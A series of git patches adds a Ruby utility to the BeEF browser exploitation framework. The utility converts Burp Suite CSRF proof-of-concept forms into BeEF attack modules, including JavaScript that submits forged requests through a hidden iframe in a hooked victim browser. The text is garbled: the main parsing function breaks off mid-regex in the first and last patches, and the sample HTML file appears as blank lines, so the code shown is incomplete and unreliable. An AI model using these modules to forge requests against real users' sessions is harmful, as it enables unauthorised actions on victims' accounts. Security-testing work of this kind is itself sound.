From 3d5ecd07874191c916bcb44752def3776ffff6ff Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 5 Jan 2014 12:13:49 +1030 Subject: [PATCH 1/5] Add tools/csrf_to_beef - initial commit --- tools/csrf_to_beef | 235 +++++++++++++++++++++++++++++++++++++++++++++ tools/sample.html | 12 +++ 2 files changed, 247 insertions(+) create mode 100644 tools/csrf_to_beef create mode 100644 tools/sample.html diff --git a/tools/csrf_to_beef b/tools/csrf_to_beef new file mode 100644 index 000000000..e16ec9e98 --- /dev/null +++ b/tools/csrf_to_beef @@ -0,0 +1,235 @@ +#!/usr/bin/env ruby +################################################################################ +# CSRF to BeEF module tool # +# TODO: # +# * support xhr / multipart form data # +# * support CORS requests # +# * add proper character encoding # +################################################################################ +$VERBOSE = false +$VERSION = '0.0.1' + +require 'uri' +require 'getoptlong' +require 'fileutils' + +# usage +def usage + puts "CSRF to BeEF module tool" + puts "[*] Generate a BeEF module using a CSRF PoC from Burp Suite." + puts "[*] Usage: ./csrf_to_beef --file poc.html --name [MODULE NAME]" + exit 1 +end +usage if ARGV.size < 3 + +# get args +mname = nil +fname = nil +opts = GetoptLong.new( + [ '-h', '--help', GetoptLong::NO_ARGUMENT ], + [ '-v', '--verbose', GetoptLong::NO_ARGUMENT ], + [ '-n', '--name', GetoptLong::REQUIRED_ARGUMENT ], + [ '-f', '--file', GetoptLong::REQUIRED_ARGUMENT ], +) + +# handle args +opts.each do |opt, arg| + case opt + when '-f','--file' + fname=arg + when '-n','--name' + mname=arg + when '-h','--help' + usage + when '-v','--verbose' + $VERBOSE = true + end +end +if fname.nil? + puts "[!] '--file' argument is required. (-h for help)" + exit 1 +end +if mname.nil? + puts "[!] '--name' argument is required. (-h for help)" + exit 1 +end + +# Module configuration file 'config.yaml' +class ConfigFile + def generate class_name + return <<-EOF +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + #{class_name}: + enable: true + category: "Exploits" + name: "#{class_name.capitalize}" + description: "#{class_name.capitalize}" + authors: ["Burp Suite Professional", "CSRF to BeEF tool"] + target: + unknown: ["ALL"] +EOF + end +end + +# Module class file 'module.rb' +class ModuleFile + def generate class_name, target_url, options + options_rb = "" + options.each do |input_name,input_value| + options_rb += " { 'name' => '#{input_name}', 'ui_label' => '#{input_name}', 'value' => '#{input_value}' },\n" + end + return <<-EOF +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class #{class_name.capitalize} < BeEF::Core::Command + + def self.options + return [ + { 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => '#{target_url}' }, +#{options_rb} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end +EOF + end +end + +# Module javascript command file 'command.js' +class CommandFile + def generate class_name, method, enctype, options + options_js = "" + options.each do |input_name,input_value| + options_js += " {'type':'hidden', 'name':'#{input_name}', 'value':'#{input_value}' },\n" + end + return <<-EOF +// +// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var target_url = '<%= @target_url %>'; + var timeout = 15; + + var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, "#{method}", + [ +#{options_js} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(#{class_name}_iframe_<%= @command_id %>); + } + setTimeout("cleanup()", timeout*1000); + +}); +EOF + end +end + +def main fname, mname + # validate class name + # TODO fix this + class_name = mname.gsub(/[^\w\s_-]+/, '') + .gsub(/(^|\b\s)\s+($|\s?\b)/, '\\1\\2') + .gsub(/\s+/, '_').downcase + + # read PoC file + puts "[*] Reading PoC from '#{fname}'" + f = File.open(fname) or die "[!] Unable to open '#{fname}' file." + html = f.readlines() + + # parse PoC file + if html.to_s =~ /var xhr = new XMLHttpRequest/ + puts "[!] Error: Could not parse PoC file - XMLHttpRequest is not yet supported." + exit 1 + elsif html.to_s !~ /
+ + + + + + + +
+ + + From c0dee2fe548280b47444606ae2d50e0baade4916 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 12 Jan 2014 00:28:14 +1030 Subject: [PATCH 2/5] Add form encoding type support --- tools/csrf_to_beef | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/csrf_to_beef b/tools/csrf_to_beef index e16ec9e98..0ab822f3d 100644 --- a/tools/csrf_to_beef +++ b/tools/csrf_to_beef @@ -2,7 +2,7 @@ ################################################################################ # CSRF to BeEF module tool # # TODO: # -# * support xhr / multipart form data # +# * support xhr # # * support CORS requests # # * add proper character encoding # ################################################################################ @@ -126,7 +126,7 @@ beef.execute(function() { var target_url = '<%= @target_url %>'; var timeout = 15; - var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, "#{method}", + var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, "#{method}", "#{enctype}", [ #{options_js} ]); @@ -178,7 +178,7 @@ def main fname, mname target_url = v when 'method' method = v - when 'enctype' # not used + when 'enctype' enctype = v end end From 048405d4f129af6c421b1523a38e845870acb631 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 12 Jan 2014 19:09:11 +1030 Subject: [PATCH 3/5] Add dynamic module options --- tools/csrf_to_beef | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/csrf_to_beef b/tools/csrf_to_beef index 0ab822f3d..505787f83 100644 --- a/tools/csrf_to_beef +++ b/tools/csrf_to_beef @@ -81,8 +81,8 @@ end class ModuleFile def generate class_name, target_url, options options_rb = "" - options.each do |input_name,input_value| - options_rb += " { 'name' => '#{input_name}', 'ui_label' => '#{input_name}', 'value' => '#{input_value}' },\n" + options.to_enum.with_index(1).each do |input, input_index| + options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => '#{input[0]}', 'value' => '#{input[1]}' },\n" end return <<-EOF # @@ -112,8 +112,8 @@ end class CommandFile def generate class_name, method, enctype, options options_js = "" - options.each do |input_name,input_value| - options_js += " {'type':'hidden', 'name':'#{input_name}', 'value':'#{input_value}' },\n" + options.to_enum.with_index(1).each do |input, input_index| + options_js += " {'type':'hidden', 'name':'#{input.first}', 'value':'<%= @input_#{input_index} %>' },\n" end return <<-EOF // From 8ea8098fe253e0196ec1599a85dea68726f12f2e Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 13 Jan 2014 00:26:03 +1030 Subject: [PATCH 4/5] Validate module class/dir name --- tools/csrf_to_beef | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/tools/csrf_to_beef b/tools/csrf_to_beef index 505787f83..c21b15f9a 100644 --- a/tools/csrf_to_beef +++ b/tools/csrf_to_beef @@ -3,6 +3,7 @@ # CSRF to BeEF module tool # # TODO: # # * support xhr # +# * support multipart file upload # # * support CORS requests # # * add proper character encoding # ################################################################################ @@ -17,7 +18,7 @@ require 'fileutils' def usage puts "CSRF to BeEF module tool" puts "[*] Generate a BeEF module using a CSRF PoC from Burp Suite." - puts "[*] Usage: ./csrf_to_beef --file poc.html --name [MODULE NAME]" + puts "[*] Usage: ./csrf_to_beef --file sample.html --name [MODULE NAME]" exit 1 end usage if ARGV.size < 3 @@ -145,10 +146,7 @@ end def main fname, mname # validate class name - # TODO fix this - class_name = mname.gsub(/[^\w\s_-]+/, '') - .gsub(/(^|\b\s)\s+($|\s?\b)/, '\\1\\2') - .gsub(/\s+/, '_').downcase + class_name = mname.gsub(/[^\w]/, '_').downcase # read PoC file puts "[*] Reading PoC from '#{fname}'" From 71b539940b18ff4bcf17a5a3467a9da736b686b8 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 13 Jan 2014 00:41:29 +1030 Subject: [PATCH 5/5] Add color, output functions and Ruby version check --- tools/csrf_to_beef | 114 +++++++++++++++++++++++++++++++++++---------- 1 file changed, 90 insertions(+), 24 deletions(-) diff --git a/tools/csrf_to_beef b/tools/csrf_to_beef index c21b15f9a..e442e4760 100644 --- a/tools/csrf_to_beef +++ b/tools/csrf_to_beef @@ -5,7 +5,7 @@ # * support xhr # # * support multipart file upload # # * support CORS requests # -# * add proper character encoding # +# * support character encoding # ################################################################################ $VERBOSE = false $VERSION = '0.0.1' @@ -14,7 +14,17 @@ require 'uri' require 'getoptlong' require 'fileutils' -# usage +# +# @note Ruby version check +# +if RUBY_VERSION < '1.9' + puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or later." + exit 1 +end + +# +# @note usage +# def usage puts "CSRF to BeEF module tool" puts "[*] Generate a BeEF module using a CSRF PoC from Burp Suite." @@ -23,17 +33,59 @@ def usage end usage if ARGV.size < 3 -# get args +# +# @note get args +# mname = nil fname = nil opts = GetoptLong.new( [ '-h', '--help', GetoptLong::NO_ARGUMENT ], [ '-v', '--verbose', GetoptLong::NO_ARGUMENT ], [ '-n', '--name', GetoptLong::REQUIRED_ARGUMENT ], - [ '-f', '--file', GetoptLong::REQUIRED_ARGUMENT ], + [ '-f', '--file', GetoptLong::REQUIRED_ARGUMENT ] ) -# handle args +# +# @note Add color to String object +# +class String + def colorize(color_code) + "\e[#{color_code}m#{self}\e[0m" + end + { :red => 31, + :green => 32, + :yellow => 33, + :blue => 34, + :pink => 35, + :cyan => 36, + :white => 37 + }.each {|color,code| + define_method(color) { colorize(code) } + } +end + +# +# @note handle output +# +def print_status(msg='') + puts '[*] '.blue + msg +end +def print_error(msg='') + puts '[!] '.red + "Error: #{msg}" +end +def print_good(msg='') + puts '[+] '.green + msg +end +def print_warning(msg='') + puts '[!] '.yellow + "Warning: #{msg}" +end +def print_debug(msg='') + puts "#{msg}" if $VERBOSE +end + +# +# @note handle args +# opts.each do |opt, arg| case opt when '-f','--file' @@ -47,15 +99,17 @@ opts.each do |opt, arg| end end if fname.nil? - puts "[!] '--file' argument is required. (-h for help)" + print_error "'--file' argument is required. (-h for help)" exit 1 end if mname.nil? - puts "[!] '--name' argument is required. (-h for help)" + print_error "'--name' argument is required. (-h for help)" exit 1 end -# Module configuration file 'config.yaml' +# +# @note Module configuration file 'config.yaml' +# class ConfigFile def generate class_name return <<-EOF @@ -78,7 +132,9 @@ EOF end end -# Module class file 'module.rb' +# +# @note Module class file 'module.rb' +# class ModuleFile def generate class_name, target_url, options options_rb = "" @@ -109,7 +165,9 @@ EOF end end -# Module javascript command file 'command.js' +# +# @note Module javascript command file 'command.js' +# class CommandFile def generate class_name, method, enctype, options options_js = "" @@ -144,21 +202,29 @@ EOF end end +# +# @note main +# def main fname, mname # validate class name class_name = mname.gsub(/[^\w]/, '_').downcase # read PoC file - puts "[*] Reading PoC from '#{fname}'" - f = File.open(fname) or die "[!] Unable to open '#{fname}' file." - html = f.readlines() + print_status "Reading PoC from '#{fname}'" + begin + f = File.open(fname) + html = f.readlines() + rescue => e + print_error "Could not read PoC file - #{e.message}" + exit 1 + end # parse PoC file if html.to_s =~ /var xhr = new XMLHttpRequest/ - puts "[!] Error: Could not parse PoC file - XMLHttpRequest is not yet supported." + print_error "Could not parse PoC file - XMLHttpRequest is not yet supported." exit 1 elsif html.to_s !~ /